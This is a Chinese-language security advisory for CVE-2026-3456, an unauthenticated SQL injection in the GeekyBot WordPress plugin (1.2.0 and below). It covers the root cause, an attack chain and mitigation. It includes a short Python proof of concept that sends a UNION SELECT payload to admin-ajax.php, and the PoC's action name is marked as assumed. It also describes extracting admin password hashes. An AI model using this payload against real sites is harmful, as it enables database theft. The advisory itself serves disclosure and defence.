CVE-2026-3456 CVSS 7.5 高危

CVE-2026-3456 WordPress GeekyBot插件SQL注入漏洞

披露日期: 2026-05-05

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-3456

漏洞类型

SQL注入

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

无需交互 (UI:N)

影响产品

The GeekyBot WordPress Plugin

漏洞概述

WordPress插件“The GeekyBot — Generate AI Content Without Prompt, Chatbot and Lead Generation”在1.2.0及以下版本中存在SQL注入漏洞。该漏洞源于插件对用户提供的‘attributekey’参数缺乏足够的转义处理，且现有的SQL查询准备不充分。未经身份验证的攻击者可以利用此漏洞向现有查询中追加额外的SQL语句，从而从数据库中提取敏感信息。此漏洞严重性较高，需要对受影响的版本进行及时修复。

技术细节

该漏洞的根本原因在于插件代码在处理‘attributekey’参数时，未对其进行严格的输入验证和转义处理，导致攻击者能够控制SQL查询的一部分。在WordPress环境中，通常使用$wpdb->prepare()来防止SQL注入，但该插件在特定功能点直接拼接了用户输入。由于漏洞点位于无需管理员权限即可访问的接口，攻击者无需登录即可发起攻击。攻击者可以通过构造恶意的SQL负载，利用UNION SELECT语句查询wp_users表获取管理员账户哈希，或者利用基于布尔/时间的盲注技术逐位提取数据库中的敏感配置信息（如API密钥、用户数据等）。CVSS向量显示机密性影响为高，进一步证实了数据泄露的风险。

攻击链分析

STEP 1

侦察

攻击者扫描目标WordPress站点，确认是否安装了The GeekyBot插件，并判断其版本是否在1.2.0及以下。

STEP 2

漏洞利用

攻击者向存在漏洞的接口发送特制的HTTP请求，在‘attributekey’参数中注入恶意SQL语句。

STEP 3

数据窃取

利用SQL注入漏洞，攻击者从数据库中提取敏感信息，如用户凭据、API密钥或其他业务数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target URL (example)
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Malicious payload targeting the 'attributekey' parameter
# This payload attempts to extract the database version using SQL Injection
payload = "1' UNION SELECT 1,2,version(),4,5-- -"

# Data parameters to be sent
params = {
    "action": "geekybot_action",  # Assumed action based on plugin behavior
    "attributekey": payload
}

try:
    response = requests.get(target_url, params=params, timeout=10)
    if response.status_code == 200:
        # Check if the response contains database information
        print("[+] Request sent successfully.")
        print("[+] Response content:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

The GeekyBot <= 1.2.0

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用该插件以阻断攻击路径。同时，应在服务器端（如Nginx或Apache层面）配置过滤规则，检测并阻断包含常见SQL注入关键词（如UNION SELECT, OR 1=1等）的请求流量。

参考链接

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